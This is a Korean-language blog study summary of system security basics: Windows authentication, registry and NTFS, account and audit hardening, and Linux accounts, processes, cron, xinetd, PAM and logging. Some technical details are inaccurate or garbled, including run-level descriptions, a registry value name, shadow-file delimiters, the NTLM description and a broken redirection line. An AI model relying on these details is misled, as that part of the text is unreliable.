정보보안 정리

tishac.tistory.com

목차

1. 시스템

- 윈도우 기본
- 윈도우 관리
- 리눅스 기본
- 리눅스 관리
- 모바일 기본
- 시스템 공격
- 시스템 보안

2. 네트워크

- 네트워크 기본
- 네트워크 장비
- 프로토콜
- 네트워크 관리
- 무선 네트워크 기본
- 무선 프로토콜
- 네트워크 공격
- 네트워크 보안

3. 어플리케이션

- 어플리케이션 기본
- 웹 공격
- 웹 보안
- 데이터베이스
- 어플리케이션 응용

tishac.tistory.com

4. 침해사고 분석 및 대응

- 패킷 탐지/차단 도구
- 보안 솔루션
- 보안 장비 운영
- 취약점 점검
- 무결성 점검
- 루트킷 점검
- 취약점 정보 분류 체계
- 쉘 획득
- 취약점 익스플로잇
- 난독화
- 악성코드
- 침해사고 종류

tishac.tistory.com

시스템

윈도우 기본

인증 구성요소	설명
LSA	모든 계정의 로그인에 대한 검증 및 시스템 자원에 대한 접근 권한을 검사 - 로컬 및 원격 로그인 포함
SAM	사용자 로그인 정보와 SAM 파일에 있는 저장된 사용자 패스워드 정보를 비교해 인증 여부를 결정 - SAM 파일은 사용자와 그룹 계정의 패스워드를 관리 - LSA 를 통한 인증을 제공하는 중요한 파일이므로 적절한 접근통제가 필요
SRM	인증된 사용자에게 SID 를 부여 - SID 를 기반하여 파일이나 디렉터리에 대한 접근을 허용할지 여부를 결정하고 이에 대한 감사 메시지를 생성

인증 방법	설명
로컬(워크그룹) 인증	로그인 화면에서 아이디와 패스워드를 입력하면 LSA 서브시스템이 인증 정보를 받아 NTLM 모듈에 넘기고 이를 다시 SAM 이 받아 로그인을 처리 - SAM 데이터베이스에 저장
원격(도메인) 인증	로그인 화면에서 아이디와 패스워드를 입력하면 LSA 서브시스템이 인증 정보를 받아 로컬 인증용인지 도메인 인증용인지 확인하고 커버로스 프로토콜을 이용해 도메인 컨트롤러에 인증을 요구 - 도메인 컨트롤러는 인증 정보를 확인하여 접속하고자 하는 사용자에게 접근 토큰을 부여하고 해당 권한으로 프로세스를 실행 - 액티브 디렉터리에 저장

ishac.tistory.com

보안 식별자
윈도우 보안 식별자인 SID 는 각 사용자나 그룹에 부여되는 고유한 식별번호 - SAM 파일에 SID 정보가 저장
SID 구조
설명[시스템][도메인 컨트롤러 또는 단독 시스템][시스템 고유 식별자][사용자 식별자] - 시용자 식별자 : 500(관리자), 501(게스트), 1000 이상(일반 사용자) SID 확인 명령 : cmd -> wmic -> useraccount list brief

인증 구조	설명
Challenge&Response	1. 인증 요청 : 사용자는 윈도우 시스템에 인증 요청
	2. Challenge 값 생성 및 전송 : 윈도우는 Challenge 값 생성 후 전송
	3. Response 값 생성 및 전송 : 사용자는 Response 값 생성 후 전송
	4. Response 값 확인 및 검증 : 윈도우는 사용자가 전달한 값을 확인 후 성공 여부 전달

인증 암호 알고리즘	설명
LM 해시	비스타 이전 운영체제에서 사용하고 구조적으로 취약한 알고리즘
NTLM 해시	LM 해시에 MD4 해시가 추가된 형태
NTLMv2 해시	비스타 이후 기본 인증 프로토콜로 현재까지 복잡도가 충분함
Lan Manager	네트워크를 통한 파일 및 프린터 공유 등과 같은 작업 시 인증을 담당하는 서비스 로컬 보안 정책 -> 보안설정 -> 로컬 정책 -> 보안옵션 -> LAN Manager 인증 수준 속성(NTLMv2 사용)

계정/그룹	설명
기본 사용자	Administrator : 관리자 권한의 계정
	SYSTEM : 로컬에서 관리자보다 상위 권한을 가진 계정
	Guest : 매우 제한적인 권한을 가진 계정
기본 그룹	Administrators : 도메인 자원이나 로컬 컴퓨터에 대한 모든 권한이 있는 그룹
	Account Operators : 사용자나 그룹 계정을 관리하는 그룹
	Backup Operators : 시스템 백업을 위해서 모든 시스템 파일과 디렉터리에 접근할 수 있는 그룹
	Guests : 도메인 사용 권한이 제한된 그룹
	Print Operators : 도메인 프린터에 접근할 수 있는 그룹
	Power Users : 디렉터리나 네트워크 공유, 공용 프로그램 그룹 생성, 컴퓨터의 시계 설정 권한이 있는 그룹
	Replicator : 도메인에 있는 파일을 복제할 수 있는 권한이 있는 그룹
	Server Operators : 도메인의 서버를 관리할 수 있는 권한이 있는 그룹
	Users : 도메인과 로컬 컴퓨터를 일반적으로 사용하는 그룹

tishac.tistory.com

공유폴더	설명
C$ 또는 D$ 등	해당 드라이브에 대한 관리목적 공유 폴더
ADMIN$	윈도우 설치 폴더에 접근하는 관리목적 공유 폴더
IPC$	동시에 수행될 개별 프로그램을 생성하고 다룰 수 있게 해주는 인터페이스

암호화	설명
EFS	개별 파일 또는 특정 폴더 안에 들어있는 모든 파일을 암호화할 수 있는 기능을 제공
BitLocker	전체 시스템 볼륨의 모든 데이터에 대한 암호화 기능을 제공

이벤트 로그	설명
응용 프로그램 로그	응용 프로그램이 기록한 다양한 이벤트

보안 로그	유효하거나 유효하지 않은 리소스 사용에 관련된 이벤트
시스템 로그	윈도우 시스템 구성요소가 기록하는 이벤트

PE	
Windows 운영체제에서 사용하고 있는 실행파일 포맷 PE Header : 모든 PE 파일이 동일하게 가지고 있지만 섹션 헤더와 섹션은 PE 파일마다 다름 Section Header : 각 섹션 데이터를 메모리에 로딩하고 속성을 설정하는 데 필요한 정보를 가짐 Section : PE 파일이 가상 주소 공간에 로드된 이후 프로그램 실행 코드, 데이터, 리소스 등 프로그램 실행에 필요한 정보를 배치하는 영역	
PE 섹션	**설명**
코드 Section	.text : 프로그램 실행 코드를 담고 있는 섹션
데이터 Section	.data : 읽기 쓰기가 가능한 데이터 섹션
	.rdata : 읽기 전용 데이터 섹션
	.bss : 초기화 되지 않은 전역변수가 위치
Import API Section	.idata : 임포트할 DLL 과 API/함수들에 대한 정보를 담고 있는 섹션
	.didat : 지연 로딩 임포트 데이터를 위한 섹션
Eport API Section	.edata : 익스포트할 DLL 과 API/함수에 대한 정보를 담고 있는 섹션
리소스 Section	.rsrc : 윈도우 어플리케이션 리소스 관련 데이터를 담고 있는 섹션
재배치 정보 Section	.reloc : 실행파일에 대한 기본 재배치 정보를 담고 있는 섹션

tishac.tistory.com

레지스트리	
윈도우 시스템이 운영되는데 필요한 정보를 담고 있음 - 시스템의 거의 모든 정보를 담고 있으므로 사고분석에 있어 공격자의 중요한 흔적을 찾을 수 있음 키 : 최상위 루트키와 최하위 서브키로 구분 값 : 이름, 데이터 유형, 데이터로 구성	
레지스트리 구성	**설명**
하이브 파일	레지스트리 정보를 저장하고 있는 물리적인 파일로 윈도우 부팅 시 하이브 파일에서 값을 읽어 들여 구성 - 오프라인 상태인 비활성 시스템에서 레지스트리 분석 시 활용 Master Key : HKLM, HKU Derived Key : HKCU, HKCC, HKCR
	계정 정보 및 접속 기록 : SAM
	시스템 보안 정책 및 권한 정보 : SECURITY
	시스템에 설치된 모든 어플리케이션 정보 : SOFTWARE
	시스템 관련 설정 정보 : SYSTEM
	사용자별 환경설정/프로파일 정보 : NTUSER.dat

최상위 루트키	HKCR : 파일 확장자와 확장자에 대한 연결 프로그램 정보를 가짐
	HKCU : 현재 로그인 중인 사용자의 환경설정/프로파일 정보를 가짐
	HKLM : 시스템 전체에 적용되는 하드웨어와 응용 프로그램의 설정 데이터를 저장
	HKU : 각 사용자별로 키 항목을 생성하여 환경설정/프로파일 정보를 저장
	HKCC : 현재 사용 중인 윈도우의 하드웨어 프로필 정보를 가짐

NTFS	
NTFS 파일시스템은 윈도우 NT 기반 운영 체제에서 사용되는 기본 파일 시스템 파티션 : 디스크를 구획화하여 나눈 영역 파일 시스템 : 파일을 관리하기 위한 자료구조 포맷 : 파티션에 파일시스템을 구성하는 작업	
파일시스템 구성	**설명**
마스터 부트 레코드(MBR)	파티션 생성 시 물리적 디스크의 첫 번째 섹터에 위치하는 512byte 크기의 영역 - 부트코드는 446byte, 파티션 테이블은 64byte, 시그너처는 2byte 로 구성 - 디스크 파괴형 악성코드에 의해 MBR 영역이 훼손되면 부트 코드를 정상적인 디스크에서 복사하고 각각의 파티션 정보를 수집하여 복구
볼륨 부트 레코드(VBR)	구조에서 가장 앞부분에 위치하는 영역으로 파티션의 가장 마지막 섹터에 VBR 백업본을 가짐 - 디스크 파괴형 악성코드에 의해 VBR 영역이 훼손되면 파티션의 가장 마지막 섹터에 있는 VBR 백업본을 덮어써서 복구
마스터 파일 테이블(MFT)	볼륨/파일시스템에 존재하는 모든 파일과 디렉터리에 대한 정보를 담고 있는 테이블로 가장 중요한 영역
데이터 영역	파일의 실제 내용이 저장되는 영역

tishac.tistory.com

윈도우 관리

계정 관리	설명
Administrator 계정 이름 변경	기본 관리자 계정명을 그대로 사용할 경우 악의적인 공격자에 의해 패스워드 무차별 공격에 취약할 수 있음 - 쉽게 유추하기 어려운 관리자 계정명으로 변경할 것을 권장 로컬 보안 정책 -> 로컬 정책 -> 보안 옵션 -> 계정 : Administrator 계정 이름 바꾸기
Guest 계정 사용 제한	소프트웨어나 하드웨어 설치, 설정 변경, 암호 만들기 등을 할 수 없고 외부 사용자가 컴퓨터를 잠시 접근할 수 있는 계정 - 불특정 사용자의 시스템 접근을 허용하는 취약한 계정이므로 사용 안함을 권장 컴퓨터 관리 -> 로컬 사용자 및 그룹 -> 사용자 -> Guest(계정 사용 안함)
불필요한 계정 제거	불필요한 계정, 의심스러운 계정, 장기간 사용하지 않는 계정은 계정 정보 유출의 위험성이 있으므로 삭제 또는 계정 잠금 설정 컴퓨터 관리 -> 로컬 사용자 및 그룹 -> 사용자 -> 불필요한 계정(삭제 또는 사용 안함)

관리자 그룹에 최소한의 사용자 포함	관리 업무를 수행하는 계정과 일반 업무를 수행하는 계정은 분리하여 사용하는 것이 바람직하며 관리자 그룹에는 최소한의 계정만을 포함 컴퓨터 관리 -> 로컬 사용자 및 그룹 -> 그룹 -> Administrator(불필요한 계정 확인)
암호/패스워드 정책 설정	사용자 계정 암호를 유추하기 쉽게 설정하면 비인가자의 시스템 접근을 허용하게 하는 위험이 존재 로컬 보안 정책 -> 계정 정책 -> 암호 정책(암호 정책 설정)
	패스워드 복잡성 설정 : 사용
	최근 패스워드 기억 설정 : 12 이상 권장
	패스워드 최대 사용기간 설정 : 90 일(계정 속성의 암호 사용기간 제한 없음을 해제)
	패스워드 최소 사용기간 설정 : 1 일
	패스워드 최소 길이 설정 : 8 문자
	해독 가능한 암호화 사용 설정 : 사용 안함
계정 잠금 정책	계정 잠금 임계값을 설정하여 패스워드를 틀리면 계정을 지정한 시간동안 잠기도록 함 로컬 보안 정책 -> 계정 정책 -> 계정 잠금 정책
	계정 잠금 기간 : 60 분 이상 설정 권장
	계정 잠금 임계값 : 5 이하의 값 권장
	다음 시간 후 계정 잠금 수를 원래대로 설정 : 60 분 이상 설정 권장

tishac.tistory.com

서비스 관리	설명
하드디스크 기본 공유 제거	윈도우는 프로그램 및 서비스를 네트워크나 컴퓨터 환경에서 관리하기 위해 시스템 기본 공유 항목을 자동으로 생성하므로 하드디스크 기본 공유 설정을 확인하여 관리 - 공유 폴더를 통해 허가받지 않은 사용자가 접근 가능 하드 디스크 기본 공유 : C$, D$ 등 원격 관리 및 IPC 용 기본 공유 : ADMIN$, IPC$ 컴퓨터 관리 -> 시스템 도구 -> 공유 폴더 -> 공유
	net share C$ /delete : cmd 에서 해당 명령을 통해 공유 중지가 가능
	레지스트리 수정 : 공유 중지를 해도 운영체제가 재시작하면 다시 생성되기 때문에 레지스트리 수정이 필요 - 레지스트리에서 AuthShareServer 의 DWORD 값을 0 으로 설정
공유 권한 및 사용자 그룹 설정	공유 폴더에 Everyone 그룹이 포함되어 있으면 익명 사용자에 의한 접근이 가능하므로 Everyone 그룹을 제거하도록 함 컴퓨터 관리 -> 시스템 도구 -> 공유 폴더 -> 공유 -> 리소스(리소스의 속성 확인)
불필요한 서비스 제거	취약한 서비스들이 디폴트로 설치되어 실행되고 있으면 이러한 서비스 또는 응용 프로그램은 공격 지점이 될 수 있으므로 사용자 환경에서 필요하지 않은 서비스나 실행 파일을 사용하지 않거나 제거 - 취약한 서비스로 Alerter, Clipbook, Messenger, Simple TCP/IP Services 등이 있음 서비스 -> 불필요한 서비스 -> 속성 -> 일반 -> 시작 유형|서비스 상태(중지, 사용 안함)

로그 관리	설명
감사 정책 설정	감사정책은 어떤 로그를 남길지를 정의한 규칙으로 감사 정책을 설정하게 되면 감사 정책에 의해 지정한 이벤트 범주에 대해서만 로그를 남김 - 감사 정책이 높을 경우 매우 중요한 항목과 혼동, 시스템 성능에 심각한 영향 - 감사 정책이 낮을 경우 문제 발생 시 원인 파악이 어렵고, 증거로 사용될 수 없음 로컬 보안 정책 -> 보안 설정 -> 로컬 정책 -> 감사 정책
	개체 액세스 : 감사안함
	계정 관리 : 실패
	계정 로그온 이벤트 : 성공, 실패(원격 계정에 대한 로그)
	권한 사용 : 실패
	디렉터리 서비스 액세스 : 실패
	로그온 이벤트 : 성공, 실패(로컬 계정에 대한 로그)
	시스템 이벤트 : 감사안함(시스템 시작과 종료, 보안 로그)
	정책 변경 : 성공, 실패
	프로세스 추적 : 감사안함

리눅스 기본

tisbac.tistory.com

로그인	설명
로그인 과정	1. 사용자 계정과 패스워드 입력
	2. 로그인 프로그램은 입력한 패스워드와 /etc/passwd 파일의 해당 필드를 비교
	3. /etc/passwd 파일의 2 번째 필드가 x 일 경우 /etc/shadow 파일에서 비교 - 패스워드 비교 시 입력한 패스워드 -> H0 -> 암호문 1 -> crypt(Salt 값 + 암호문 1) -> 암호문 2
	4. /etc/passwd 파일의 해당 필드에서 계정 정보를 가져와 초기 환경 설정
	5. 모든 절차가 끝나면 로그인 쉘 실행
런 레벨	시스템의 운영 상태를 숫자 혹은 문자로 표현한 것 - init 프로세스는 /etc/inittab 파일에 정의된 런 레벨에 따라 /etc/rc.d/rc*.d 디렉터리에 나열된 스크립트를 실행하여 시스템의 운영 상태를 구성
	런 레벨 0 : 싱글 유저 모드에서 PROM
	런 레벨 S : 멀티 유저 모드에서 싱글 유저 모드
	런 레벨 s : PROM 모드에서 싱글 유저 모드(로컬 파일시스템 마운트 X)
	런 레벨 1 : 싱글 유저 모드(로컬 파일시스템 마운트)
	런 레벨 2 : 멀티 유저 모드(NFS 클라이언트 모드)
	런 레벨 3 : 싱글 유저 모드에서 멀티 유저 모드(NFS 서버 모드)

	런 레벨 5 : 시스템 전원 종료
	런 레벨 6 : 시스템 리부팅
시스템 부팅	1. 바이오스 : 시스템의 기본적인 하드웨어 점검 후 하드웨어 정보를 수집(하드웨어)
	2. 부트 프로그램 : 하드디스크에서 커널을 읽어 들여 메모리상에 적재(하드디스크)
	3. 커널 : 운영체제가 구동되기 시작하여 시스템 운영을 위한 초기 작업을 수행(메모리)
	4. init 프로세스 : 사용자가 시스템을 사용할 수 있게 초기화 작업을 수행(프로세스)

계정/그룹	설명
/etc/passwd	사용자 계정을 만들 때마다 해당 사용자와 관련된 정보를 저장 - 1 : 2 : 3 : 4 : 5 : 6 : 7 필드 구성
	1. 계정명 : 사용자의 계정명
	2. 패스워드 : 사용자의 패스워드(x 는 shadow 패스워드 정책 사용))
	3. UID : 사용자의 ID
	4. GID : 사용자의 기본 그룹 ID
	5. 설명 : 사용자 설명
	6. 홈 디렉터리 : 사용자의 홈 디렉터리 위치
	7. 로그인 쉘 : 사용자의 로그인 쉘
/etc/group	현재 시스템에 정의된 모든 그룹의 정보를 저장 - 1 : 2 : 3 : 4 필드 구성
	1. 그룹명
	2. 그룹 패스워드(일반적으로 사용하지 않음)
	3. GID : 기본 그룹 ID
	4. 소속 계정 : 해당 그룹에 소속된 사용자 계정
/etc/shadow	암호화된 패스워드를 저장하고 root 만이 접근할 수 있도록 제한하여 패스워드 보안을 강화 - 1 : 2 : 3 : 4 : 5 : 6 : 7 : 8 : 9 필드 구성
	1. 사용자 계정명
	2. 암호화된 패스워드 : &해시 알고리즘 식별 ID&솔트 값&암호화된 패스워드 - ID 는 암호화에 적용된 일방향 해시 알고리즘을 식별하기 위한 ID(5 : SHA-256) - Salt 는 패스워드 암호화 강도를 높이기 위한 임의의 값 - encrypted_password 는 사용자 패스워드에 솔트값을 조합하여 해시화한 해시값
	3. 마지막으로 패스워드를 변경한 날 : 1970 년 1 월 1 일 기준
	4. 패스워드 최소 사용기간 : 변경 후 패스워드를 변경할 수 없는 일수
	5. 패스워드 최대 사용기간 : 변경 후 패스워드 만료 일수
	6. 경고 : 패스워드 만료 이전 경고 일수

tishac.tistory.com

	7. 비활성화 : 패스워드 만료 이후 계정이 잠기기 전까지 비활성 일수
	8. 만료일 : 1970 년 1 월 1 일 기준
	9. 예약 필드 : 사용하지 않음
솔트 값	암호화 강도를 높이기 위한 임의의 값인 솔트 값으로 레인보우 테이블 공격에 효과적으로 대응할 수 있음 서로 다른 솔트 값 : 동일한 패스워드를 사용해도 서로 다른 솔트 값에 의해서 실제 암호화되는 패스워드는 서로 다름 해시값 비교 : 암호화된 패스워드를 알아낸다고 해도 이는 솔트와 조합된 패스워드 해시값에 대한 평문 패스워드로 실제 패스워드가 아님
패스워드 저장 정책	passwd 파일 내 계정정보와 함께 저장하는 일반 패스워드 정책과 shadow 파일에 패스워드를 별도로 저장하는 shadow 패스워드 정책이 있음 pwconv : shadow 패스워드 정책을 사용(shadow 파일을 활성화) pwunconv : 일반 패스워드 정책을 사용(shadow 파일을 비활성화)
패스워드 잠금	passwd -l [계정명] : 해당 계정의 패스워드 잠금 설정
	passwd -u [계정명] : 해당 계정의 패스워드 잠금 해제 설정

파일시스템	설명
부트 블록	운영체제를 부팅하거나 초기화하기 위한 부트스트랩 코드를 담고 있음
슈퍼 블록	해당 파일시스템을 관리하기 위한 정보를 담고 있음
아이노드 리스트	파일들에 대한 속성정보를 담고 있는 inode 구조체 리스트 M time : 파일의 내용이 마지막으로 수정한 시간 A time : 파일을 마지막으로 접근한 시간 C time : 파일의 속성을 마지막으로 변경한 시간
데이터 블록	실제 파일들의 데이터가 저장
mount	보조기억장치에 설치된 파일시스템을 시스템이 인식하도록 특정 디렉터리에 논리적으로 연결 - /etc/mtab 파일에 내용을 기록
umount	이전에 마운트된 파일시스템의 연결을 해제 - /etc/mtab 파일에 내용을 삭제 - /etc/mtab 파일은 시스템에 마운트된 파일시스템의 정보를 관리 - umount 시 device is busy 메시지가 발생하면 fuser -ck [마운트경로] 명령 사용
du	디렉터리의 하드 디스크의 사용량을 확인
df	파일 시스템의 용량 정보를 확인
sync	시스템 종료 시 하드디스크 동기화(sync)를 통해 바로 버퍼의 내용을 하드 디스크로 옮김 - 시스템의 버퍼에 있는 데이터를 디스크에 저장(유실되는 데이터가 없도록 디스크 동기화를 진행)

tishac.tistory.com

입출력	설명
입출력 재지정	입출력 대상으로 표준 입력, 표준 출력, 표준 에러를 사용하지 않고 다른 경로인 파일로 재지정 출력 재지정 : >>>>

프로세스 그룹	프로세스 생성과 동시에 프로세스 그룹도 생성 프로세스 그룹 : 커널이 터미널 제어권을 관리하기 위한 목적(쉘에서 실행된 프로세스와 그 자식 프로세스들이 하나의 프로세스 그룹으로 관리) 터미널 제어권 : 프로세스 그룹 단위로 제어권이 부여(터미널로부터 입력되는 데이터와 터미널로부터 발생하는 시그널에 대한 제어권) PGID : 해당 그룹의 리더 프로세스의 PID 를 PGID 로 설정(프로세스 그룹을 식별하기 위한 식별자)
터미널 제어권	포그라운드 모드 : 터미널에 대한 제어권을 가지고 동작(포그라운드 프로세스 그룹)
	백그라운드 모드 : 터미널에 대한 제어권 없이 동작(백그라운드 프로세스 그룹)
시그널	IPC 는 하나의 운영체제에 존재하는 프로세스 간의 통신 방법 외부에 의해서 시그널 발생 : 키보드 입력 에러에 의해서 시그널 발생 : 커널 이벤트에 의해서 시그널 발생 : alarm() 함수, 프로세스 종료 인위적으로 시그널 발생 : kill() 함수(System Call), Kill 명령어(-9, -23) 시그널 정책 : 무시, 보류, 특정 함수 호출, 디폴트(일반적으로 종료)
PCB	개별 프로세스별로 관리정보를 담고 있는 프로세스 제어 블록 프로세스 상태 : ready, running, blocked 등 프로세스 현재 상태정보 프로세스 번호 : 프로세스를 식별하기 위한 번호 프로그램 카운터 : 문맥 교환이 발생할 경우 다음에 실행할 명령어의 위치값을 저장 레지스터 : 문맥 교환이 발생할 경우 현재 프로세스의 실행 상태정보를 저장 메모리 정보 : 프로세스가 사용하는 메모리 page 또는 segment 테이블 정보
FDT	개별 프로세스별로 오픈한 파일을 관리하기 위한 파일 디스크립터 테이블 표준 입력(stbin) : 표준입력장치로부터의 입력을 의미 표준 출력(stbout) : 표준출력장치로의 출력을 의미 표준 에러(stberr) : 오류 발생 시 출력을 의미 파일 디스크립터(FD) : 오픈한 각각의 파일을 식별하기 위한 양의 정수값
System open-file table	오픈된 파일들을 관리하기 위한 자료구조 open_mode : 파일의 읽기/쓰기 모드 offset : 현재 파일 I/O 를 수행하기 위한 위치값 reference_count : 해당 파일의 참조 개수를 의미(파일 복제 시 해당 값 증가)
프로세스 실행	1. 프로그램 실행
	2. fork()를 통한 자식 프로세스 생성(터미널 제어권이 자식 프로세스로 넘어감)
	3. exec()를 통한 프로세스 이미지 전이
	4. 프로그램 종료(터미널 제어권을 쉘로 반환)

ps	ps 명령을 사용하여 프로세스 정보를 확인 PID : 시스템/커널 내에서 프로세스를 식별하기 위한 고유한 ID PPID : 부모 프로세스를 식별하기 위한 ID PGID : 프로세스 그룹을 식별하기 위한 ID SID : 세션을 식별하기 위한 ID

스케줄러	설명
crontab	정기적으로 처리해야 하는 작업 목록을 정의 - crontab 파일과 개별 사용자 crontab 파일이 있음
	1. 분 : 0-59 까지 숫자로 기술
	2. 시 : 0-23 까지 숫자로 기술
	3. 일 : 1-31 까지 숫자로 기술
	4. 월 : 1-12 까지 숫자로 기술
	5. 요일 : 0-6 까지 숫자로 기술하며, 0 은 일요일
	6. 권한 : 시스템 crontab 파일에만 존재하며, 계정명을 기술
	7. 작업 : 지정한 시간에 실행할 작업
	crontab 파일의 제어 자신의 crontab 파일 편집 : crontab -e 자신의 crontab 파일 출력 : crontab -l 자신의 crontab 파일 삭제 : crontab -r 다른 계정의 crontab 파일 편집 : crontab -u [계정명] -e 다른 계정의 crontab 파일 출력 : crontab -u [계정명] -l 다른 계정의 crontab 파일 삭제 : crontab -u [계정명] -f
	crontab 명령 접근제어 /etc/cron.allow : 등록된 사용자는 crontab 명령 허용(화이트리스트 방식) /etc/cron.deny : 등록된 사용자는 crontab 명령 거부(블랙리스트 방식) - 파일이 모두 있는 경우 /etc/cron.allow 파일을 우선 - 파일이 모두 없는 경우 root 만이 crontab 명령 허용
at	일시적으로 작업을 한번만 처리 - 한번 처리된 작업은 작업 목록에서 삭제
	1. at -t [날짜와 시간] : 해당 날짜와 시간에 일시적으로 처리할 작업
	2. /usr/bin/ps -ef : 위의 날짜와 시간에 해당 명령을 실행

서비스 운영	설명
데몬 방식	Stand-Alone 방식 : 개별 서비스별로 서버 프로세스가 동작하는 방식(점유율 높음)
	(x)inetd 방식 : 슈퍼 데몬을 이용하여 개별 서비스를 동작하는 방식(점유율 낮음)

inetd	최초 실행 시 /etc/inetd.conf 파일을 참조하여 서비스할 프로그램들에 대한 정보를 얻음 - 관리자는 서비스할 프로그램의 특징을 /etc/inetd.conf 파일에 정의해야 함
	서비스 명 : /etc/services 파일에 등록된 포트 번호를 참조하여 서비스 포트를 결정
	소켓타입 : 서비스에 대한 소켓 유형을 설정(TCP : stream, UDP : datagram)
	프로토콜 : /etc/protocols 파일에 주어진 프로토콜 중 사용 가능한 프로토콜을 설정
	플래그 : 서비스 요청을 받은 이후에 즉시 처리(nowait) 또는 대기(wait)
	사용할 사용자 계정 : 프로그램을 실행시킬 사용자로 설정
	실행 경로명 : 서비스를 처리하는 실행 모듈의 경로를 절대 경로로 설정
	실행 인수 : 프로그램의 인수를 설정
xinetd	TCP Wrapper 의 기능뿐만 아니라 자체적으로 다양한 서비스별 접근제어 기능을 제공 /etc/xinetd.conf : 모든 서비스에 적용되는 xinetd 설정 파일 /etc/xinetd.d/* : 개별 서비스에 적용되는 xinetd 설정 파일

	service [서비스 이름을 설정]
	{
	disable = [서비스 실행 여부를 설정(yes : 실행 안함, no : 실행함)]
	socket_type = [서비스 소켓 유형을 설정(TCP : stream, UDP : dgram)]
	wait = [서비스 요청 처리 중 다음 요청이 발생하면 즉시 처리(no) 또는 대기(yes)]
	user = [서비스를 실행할 사용자를 설정]
	server = [서비스 실행 파일의 경로를 설정]
	only_from = [접근을 허용할 특정 IP 주소 또는 IP 대역을 설정]
	no_access = [접근을 차단할 특정 IP 주소 또는 IP 대역을 설정]
	access_time = [접근을 허용할 시간 범위를 설정(09:00-18:00)]
	cps = [초당 최대 연결개수를 설정(50 10)]
	instances = [최대 서버 개수를 설정]
	per_source = [출발지 IP 별 최대 연결개수를 설정]
	}

TCP Wrapper	TCP Wrapper 접근통제를 사용할 경우 해당 서비스의 실행경로를 /usr/sbin/tcpd 로 변경 /etc/hosts.allow : 등록된 호스트는 접근을 허용(화이트리스트 방식) /etc/hosts.deny : 등록된 호스트는 접근을 거부(블랙리스트 방식) - 파일에 호스트 정보가 모두 있는 경우 /etc/hosts.allow 파일을 우선 - 파일에 호스트 정보가 모두 없는 경우 기본적으로 모든 접근을 허용
	/etc/hosts.allow 사용: in.telnetd : .aaa.com EXCEPT www.aaa.com - www.aaa.com 을 제외한 aaa.com 도메인의 모든 호스트에 대해 Telnet 서비스가 가능
	/etc/hosts.deny 사용 : ALL : ALL - 모든 서비스 차단, 모든 호스트 차단

인증 모듈	설명
PAM	리눅스 시스템 내에서 사용되는 각종 어플리케이션 인증을 위해 제공되는 다양한 인증용 라이브러리 /etc/pam.d/* : PAM 라이브러리를 이용하는 각 응용 프로그램의 설정 파일이 위치 /lib/security/* : PAM 라이브러리가 제공하는 다양한 인증 모듈들이 위치
	PAM 설정파일 구조 PAM type : account, auth, password, session PAM control : requisite, required, sufficient, optional PAM module-path : PAM 에서 사용할 실제 모듈 파일이 위치한 경로(파일명으로 설정하면 /lib/security/* 참조) PAM module-arguments : 모듈에 전달되는 인수
root 계정의 원격 접속 제한	1. /etc/securetty 파일에서 pts/0 ~ pts/* 모두 제거 또는 주석
	2. /etc/pam.d/remote 파일에서 auth required pam_securetty.so 설정
ssh 서비스 root 계정의 원격 접속 제한	1. /etc/ssh/sshd_config 파일에서 PermitRootLogin no 설정
	2. service sshd restart 명령으로 SSH 데몬을 재시작
계정 잠금 임계값 설정	1. /etc/pam.d/system-auth 파일에서
	2. auth required pam_tally.so deny=5 unlock_time=120 no_magic_root 설정
	3. account required pam_tally.so no_magic_root reset 설정
	deny=5 : 5 회 입력 실패 시 패스워드를 잠금 unlock_time=120 : 계정 잠김 후 120 초가 지나면 자동 계정 잠금 해제 no_magic_root : root 계정은 패스워드 잠금 설정을 적용하지 않음 reset : 접속 시도 성공 시 실패한 횟수 초기화
root 계정 su 제한	1. usermod -G wheel [계정명] 명령으로 su 명령을 사용할 계정을 wheel 그룹에 추가
	2. /etc/pam.d/su 파일에서 auth required pam_wheel.so use_uid debug 설정
sudo 명령을 이용한 관리자 권한 부여	/etc/sudoers 파일에서 [sudo 명령을 실행할 계정] ALL=(ALL) NOPASSWD:ALL 추가 - NOPASSWD 옵션은 sudo 명령을 실행하는 계정의 비밀번호를 물어보지 않음
	계정명 : sudo 명령을 실행할 계정명이나 %그룹명 호스트명 : sudo 명령을 실행할 호스트 실행 권한 계정명 : 명령을 실행할 때 가질 권한의 계정명 명령어 : 실행을 허용할 명령어의 경로

syslog	
메시지 로깅을 위한 표준으로 커널 및 응용 프로그램에 의해 발생하는 로그를 체계적으로 생성하고 관리 syslog API : 커널 및 응용 프로그램이 syslog API 를 통해 로그를 생성 syslogd 데몬 프로세스 : /etc/syslog.conf 파일을 참조하여 지정한 로그파일, 콘솔 또는 외부 서버 등에 로그를 기록	
syslog 구성파일	**설명**

/etc/syslog.conf	syslogd 데몬이 실행될 때 참조되는 로그설정 파일로서 어떤 로그를 어디에 남길지 로그 저장 규칙이 정의되어 있음 - syslog 를 개선한 rsyslog 를 주로 사용하고 514/udp 대신에 514/tcp 를 이용 - payload 를 보호할 수 있는 BEEP 를 이용하도록 권고 facility : 로그 생성 서비스(*는 모든 서비스) priority : 로그 수준(*는 모든 수준의 로그를 남김, none 은 로그를 남기지 않음) action : 로그 저장 위치(로그파일, 콘솔, 원격 로그 서버, 특정 사용자 등)

로그 기록 과정
1. 커널 및 응용 프로그램이 syslog API 를 통해 로그를 생성
2. syslogd 데몬 프로세스가 /etc/syslog.conf 설정 파일을 참조
3. 지정한 로그파일, 콘솔 또는 원격서버 등에 로그를 기록

logrotate	
시스템 로그 파일을 관리하기 위한 도구로 로그파일 순환, 압축 등 다양한 기능을 제공 - 많아지는 로그를 관리하기 위해 사용 /etc/logrotate.conf : logrotate 데몬 설정 파일 /etc/logrotate.d : logrotate 를 적용할 프로세스의 개별 설정 파일이 위치	
logrotate 옵션	**설명**
daily/monthly/weekly	일 단위/월 단위/주 단위 로그파일 순환
rotate	순환 로그파일의 개수를 n 개로 설정
create	퍼미션, 소유자, 소유그룹 을 지정하여 순환 시 새롭게 로그파일을 생성
dateext	로그파일의 확장자로 날짜를 붙여서 보관
compress/nocompress	로그파일을 압축하여/압축없이 보관
size	지정한 크기가 되면 로그파일 순환(100K, 100M)
missingok	로그파일이 없어도 오류를 발생시키지 않음
notifempty	로그파일이 비어있는 경우 순환하지 않음
sharedscripts	로그파일에 대해 postrotate 스크립트를 한 번만 실행
delaycompress	로그파일이 압축되기 전에 이전 로그 파일을 하루 지연시킴
postrotate	logrotate 작업 이후에 지정된 작업을 실행(pre... 는 작업 이전)
endscript	순환 후 스크립트 파일 실행

tishactistory.com

로그 파일	
다양한 시스템 활동, 오류 메시지, 보안 이벤트, 사용자 활동 등을 기록 - 시스템 운영과 문제 해결을 위해 매우 중요한 정보를 제공	
로그 종류	**설명**

